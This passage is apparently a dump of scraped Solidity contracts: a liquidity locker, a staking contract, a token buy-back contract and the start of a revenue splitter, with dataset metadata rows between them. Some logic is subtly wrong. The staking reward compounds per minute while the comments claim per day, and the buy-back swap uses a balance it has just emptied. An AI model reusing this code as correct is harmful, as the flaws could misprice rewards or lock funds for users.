require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface ICraftsman {
function deposit(uint256 _pid, uint256 _amount) external;
function withdraw(uint256 _pid, uint256 _amount) external;
function enterStaking(uint256 _amount) external;
function leaveStaking(uint256 _amount) external;
function pendingVVS(uint256 _pid, address _user) external view returns (uint256);
function userInfo(uint256 _pid, address _user) external view returns (uint256, uint256);
function emergencyWithdraw(uint256 _pid) external;
}
contract LiquidityLocker is Ownable {
using SafeERC20 for IERC20;
address public immutable lockToken;
uint256 public lockedamount;
ICraftsman public craftsman;
address public ikki;
address public xIKKI;
uint256 public poolid;
uint256 public lockUntil;
uint256 public constant MAX_INCREASE_LOCK = 365 days;
bool isinitialze=false;
constructor(address _lockToken, uint256 _lockUntil){
lockToken = _lockToken;
lockUntil = _lockUntil;
}
function initialize(ICraftsman _craft,address _ikki,address _xIKKI,uint256 _pool) public onlyOwner{
require(isinitialze==false,"Already Initialize");
craftsman=_craft;
ikki=_ikki;
xIKKI=_xIKKI;
poolid=_pool;
isinitialze=true;
}
function lock(uint256 _amount) public onlyOwner{
IERC20(lockToken).safeTransferFrom(msg.sender,address(this),_amount);
lockedamount+=_amount;
}
function getpending() public view returns(uint256){
return craftsman.pendingVVS(poolid,address(this));
}
function stake() public onlyOwner{
uint256 _bal=IERC20(lockToken).balanceOf(address(this));
IERC20(lockToken).approve(address(craftsman),_bal);
craftsman.deposit(poolid,_bal);
}
function claimreward()public onlyOwner{
craftsman.deposit(poolid,0);
uint256 bal=IERC20(ikki).balanceOf(address(this));
IERC20(ikki).safeTransfer(xIKKI,bal);
}
function increaseLock(uint256 _duration) external onlyOwner {
require(_duration < MAX_INCREASE_LOCK, "LiquidityLocker: duration too long");
lockUntil += _duration;
}
//claim the LP from craftsman and store in Locker contract
function claimlp() public onlyOwner{
craftsman.withdraw(poolid,lockedamount);
}
//Claim the Lp from Craftsman without reward & store in Locker contract
function EmergencyClaim() public onlyOwner{
craftsman.emergencyWithdraw(poolid);
}
//Withdraw the LP after token gets Unlocked
function withdrawLP(address _to) public onlyOwner{
require(block.timestamp>=lockUntil,"LiquidityLocker: still locked");
uint256 getbal=IERC20(lockToken).balanceOf(address(this));
IERC20(lockToken).safeTransfer(_to,getbal);
}
}
| 51,912 | 11,134 |
23f2f511c1f4583c99db11a064bff24f9a22039faf2fadc5390c4d56a28cfd25
| 29,778 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/5d/5DDbc71fa4aC0b87aFa271e5bB986EA47d196C39_RegularStaking.sol
| 3,827 | 15,506 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
abstract contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() {
_paused = false;
}
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
contract RegularStaking is Ownable, Pausable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
//mapping(address => uint256) private _stakes;
struct Deposit{
uint256 depositedAt;
uint256 depositedQty;
bool isWithdrawn;
}
string public name;
uint256 public stakingCap; // = 1000000 ether;
uint256 public stakedTotal;
address public rewardAddress;
bool private depositEnabled = true;
IERC20 immutable token;
mapping(address => Deposit[]) public deposits;
event Staked(address indexed token,
address indexed staker_,
uint256 requestedAmount_
//uint256 stakedAmount_);
event PaidOut(address indexed token,
address indexed staker_,
uint256 amount_,
uint256 reward_);
event EmergencyWithdrawDone(address indexed sender,
address indexed token,
uint256 amount_);
event DepositToggled(bool value);
event StakingCapSet(uint256 value);
event RewardPercSet(uint256 value);
event RewardAddressChanged(address indexed sender,
address indexed rewardAddress);
modifier _after(uint256 eventTime) {
require(block.timestamp >= eventTime,
"Error: bad timing for the request");
_;
}
modifier _before(uint256 eventTime) {
require(block.timestamp < eventTime,
"Error: bad timing for the request");
_;
}
constructor(string memory name_, address _token, address _rewardAddress, uint256 _stakingCap) {
require(_rewardAddress != address(0), "_rewardAddress should not be 0");
name = name_;
token = IERC20(_token);
rewardAddress = _rewardAddress;
stakingCap = _stakingCap;
}
function getDeposits(address staker) public view returns (Deposit[] memory){
Deposit[] memory d = deposits[staker];
return (d);
}
function withdraw(uint256 id) external{
require(deposits[msg.sender].length > id, "Deposit does not exist"); //make sure that such a deposit exists
require(deposits[msg.sender][id].depositedQty > 0,
"There is nothing to deposit");
require(deposits[msg.sender][id].isWithdrawn == false);
_withdrawAfterClose(msg.sender, id);
}
//efficiently compute compound
function _compound(uint principle, uint n) private pure returns (uint){
for(uint i=0; i<n; i++){
principle = principle.mul(1000261158).div(1000000000); //10% APY
}
return principle;
}
function _withdrawAfterClose(address from, uint256 id) private {
uint256 amount = deposits[from][id].depositedQty;
uint256 depositedTime = deposits[from][id].depositedAt;
uint256 daysSinceDeposit = (block.timestamp.sub(depositedTime)).div(60); //get the floored number of days since the deposit
uint256 reward = _compound(amount, daysSinceDeposit);
stakedTotal = stakedTotal.sub(amount);
token.safeTransferFrom(rewardAddress, from, reward.sub(amount)); //transfer Reward
token.safeTransfer(from, amount); //transfer initial stake
emit PaidOut(address(token), from, amount, reward);
deposits[from][id].isWithdrawn = true;
}
function getAllowance(address staker) external view returns (uint256){
return token.allowance(staker, address(this));
}
function stake(uint256 amount) external whenNotPaused {
require(depositEnabled, "Deposits not enabled");
address staker = msg.sender;
stakedTotal = stakedTotal + (amount);
deposits[staker].push(Deposit(block.timestamp,
amount,
false));
uint256 allowance = token.allowance(staker, address(this));
require(allowance >= amount, "Check the token allowance");
token.safeTransferFrom(staker, address(this), amount);
emit Staked(address(token), staker, amount);
}
function setStakingCap(uint256 _stakingCap) external onlyOwner{
stakingCap = _stakingCap;
emit StakingCapSet(_stakingCap);
}
function toggleDeposit() external onlyOwner {
depositEnabled = !depositEnabled;
emit DepositToggled(depositEnabled);
}
function changeRewardAddress(address _address) external onlyOwner {
require(_address != address(0), "Address should not be 0");
rewardAddress = _address;
emit RewardAddressChanged(msg.sender,_address);
}
}
| 112,344 | 11,135 |
bd5252041fd219c8c5ea744ba69d41e51681687baec64f9f907c502471f49b44
| 18,446 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/a4/a4b19c6516ca1cd8729f3076b4197e900231a00f_GothBuy.sol
| 3,875 | 14,081 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal pure virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a + b) >= b, "SafeMath: Add Overflow");
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a - b) <= a, "SafeMath: Underflow");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b == 0 || (c = a * b) / b == a, "SafeMath: Mul Overflow");
}
function div(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b > 0, "SafeMath: Div by Zero");
c = a / b;
}
function to128(uint256 a) internal pure returns (uint128 c) {
require(a <= uint128(-1), "SafeMath: uint128 Overflow");
c = uint128(a);
}
}
library SafeMath128 {
function add(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a + b) >= b, "SafeMath: Add Overflow");
}
function sub(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a - b) <= a, "SafeMath: Underflow");
}
}
interface IJoePair {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from,
address to,
uint256 value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IJoeFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint256);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function migrator() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setMigrator(address) external;
}
library JoeLibrary {
using SafeMath for uint256;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, "JoeLibrary: IDENTICAL_ADDRESSES");
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), "JoeLibrary: ZERO_ADDRESS");
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory,
address tokenA,
address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint256(keccak256(abi.encodePacked(hex"ff",
factory,
keccak256(abi.encodePacked(token0, token1)),
hex"0bbca9af0511ad1a1da383135cf3a8d2ac620e549ef9f6ae3a4c33c2fed0af91" // init code fuji))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory,
address tokenA,
address tokenB) internal view returns (uint256 reserveA, uint256 reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint256 reserve0, uint256 reserve1,) = IJoePair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint256 amountA,
uint256 reserveA,
uint256 reserveB) internal pure returns (uint256 amountB) {
require(amountA > 0, "JoeLibrary: INSUFFICIENT_AMOUNT");
require(reserveA > 0 && reserveB > 0, "JoeLibrary: INSUFFICIENT_LIQUIDITY");
amountB = amountA.mul(reserveB) / reserveA;
}
function getAmountOut(uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut) internal pure returns (uint256 amountOut) {
require(amountIn > 0, "JoeLibrary: INSUFFICIENT_INPUT_AMOUNT");
require(reserveIn > 0 && reserveOut > 0, "JoeLibrary: INSUFFICIENT_LIQUIDITY");
uint256 amountInWithFee = amountIn.mul(997);
uint256 numerator = amountInWithFee.mul(reserveOut);
uint256 denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
function getAmountIn(uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut) internal pure returns (uint256 amountIn) {
require(amountOut > 0, "JoeLibrary: INSUFFICIENT_OUTPUT_AMOUNT");
require(reserveIn > 0 && reserveOut > 0, "JoeLibrary: INSUFFICIENT_LIQUIDITY");
uint256 numerator = reserveIn.mul(amountOut).mul(1000);
uint256 denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory,
uint256 amountIn,
address[] memory path) internal view returns (uint256[] memory amounts) {
require(path.length >= 2, "JoeLibrary: INVALID_PATH");
amounts = new uint256[](path.length);
amounts[0] = amountIn;
for (uint256 i; i < path.length - 1; i++) {
(uint256 reserveIn, uint256 reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory,
uint256 amountOut,
address[] memory path) internal view returns (uint256[] memory amounts) {
require(path.length >= 2, "JoeLibrary: INVALID_PATH");
amounts = new uint256[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint256 i = path.length - 1; i > 0; i--) {
(uint256 reserveIn, uint256 reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// https://github.com/traderjoe-xyz/joe-core
//
// specified treasury address.
contract GothBuy is Ownable
{
using SafeMath for uint256;
IJoeFactory public factory;
uint256 public FeeToDate;
address public treasuryAddress;
address public fromToken;
address public goth;
address public wavax;
event SetTreasuryAddress (address newAddress);
event SetFromToken (address newAddress);
event SetGothToken (address newAddress);
constructor (IJoeFactory _factory, address _treasury, address _fromToken, address _goth, address _wavax) public
{
factory = _factory;
treasuryAddress = _treasury;
fromToken = _fromToken;
goth = _goth;
wavax = _wavax;
}
function setTreasuryAddress (address _treasuryAddress) public onlyOwner
{
treasuryAddress = _treasuryAddress;
emit SetTreasuryAddress(address(_treasuryAddress));
}
function setFromToken (address _fromToken) public onlyOwner
{
fromToken = _fromToken;
emit SetFromToken(address(_fromToken));
}
function setGothToken (address _gothToken) public onlyOwner
{
goth = _gothToken;
emit SetGothToken(address(_gothToken));
}
function emergencyWithdraw () public onlyOwner
{
require(address(this).balance > 0, "GothBuy: avax balance is 0");
(bool sent, bytes memory data) = treasuryAddress.call{value: address(this).balance}("");
}
function buyBackGoth () public onlyOwner
{
require(address(this).balance > 0, "GothBuy: avax balance is 0");
(bool sent, bytes memory data) = wavax.call{value: address(this).balance}("");
require(sent, "GothBut: cant convert to wavax");
swap(fromToken, goth, address(this).balance, treasuryAddress, 500);
}
// This function was taken from Trader Joe's MoneyMaker contract found here
// https://github.com/traderjoe-xyz/joe-core/blob/main/contracts/MoneyMaker.sol
function swap(address _fromToken, address _toToken, uint256 _amountIn, address _to, uint256 _slippage) internal returns (uint256 amountOut)
{
// Checks
// X1 - X5: OK
IJoePair pair = IJoePair(factory.getPair(_fromToken, _toToken));
require(address(pair) != address(0), "GothBuy: Cannot convert");
(uint256 reserve0, uint256 reserve1,) = pair.getReserves();
(uint256 reserveInput, uint256 reserveOutput) = _fromToken == pair.token0()
? (reserve0, reserve1)
: (reserve1, reserve0);
IERC20(_fromToken).transfer(address(pair), _amountIn);
uint256 amountInput = IERC20(_fromToken).balanceOf(address(pair)).sub(reserveInput); // calculate amount that was transferred, this accounts for transfer taxes
amountOut = JoeLibrary.getAmountOut(amountInput, reserveInput, reserveOutput);
{
uint256 rest = uint256(10_000).sub(_slippage);
/// hence why we do rest^2, i.e. calculating the slippage twice cause we actually do two swaps.
/// This allows us to catch if a pair has low liquidity
require(JoeLibrary.getAmountOut(amountOut, reserveOutput, reserveInput) >=
amountInput.mul(rest).mul(rest).div(100_000_000),
"GothBuy: Slippage caught");
}
(uint256 amount0Out, uint256 amount1Out) = fromToken == pair.token0()
? (uint256(0), amountOut)
: (amountOut, uint256(0));
pair.swap(amount0Out, amount1Out, _to, new bytes(0));
}
}
| 76,555 | 11,136 |
1cca4649e3bdc8fa3f1a433847ec5bdb24e388843c14c6bc9070a67a55f8ba00
| 18,971 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/4a/4AC68d4cD8CFC6173a08C5a8270AF9C3f62cDa4c_Splitter.sol
| 3,017 | 12,923 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity ^0.8.7;
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount,
"Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success,
"Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return
functionCallWithValue(target,
data,
value,
"Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value,
"Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) =
target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(target,
data,
"Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(target,
data,
"Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token,
abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token,
abi.encodeWithSelector(token.approve.selector, spender, value));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata =
address(token).functionCall(data,
"SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function owner() external view returns (address);
function renounceManagement(string memory confirm) external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPulled(address(0), _owner);
}
function owner() public view override returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement(string memory confirm) public virtual override onlyOwner() {
require(keccak256(abi.encodePacked(confirm)) == keccak256(abi.encodePacked("confirm renounce")),
"Ownable: renouce needs 'confirm renounce' as input");
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
_newOwner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyOwner() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
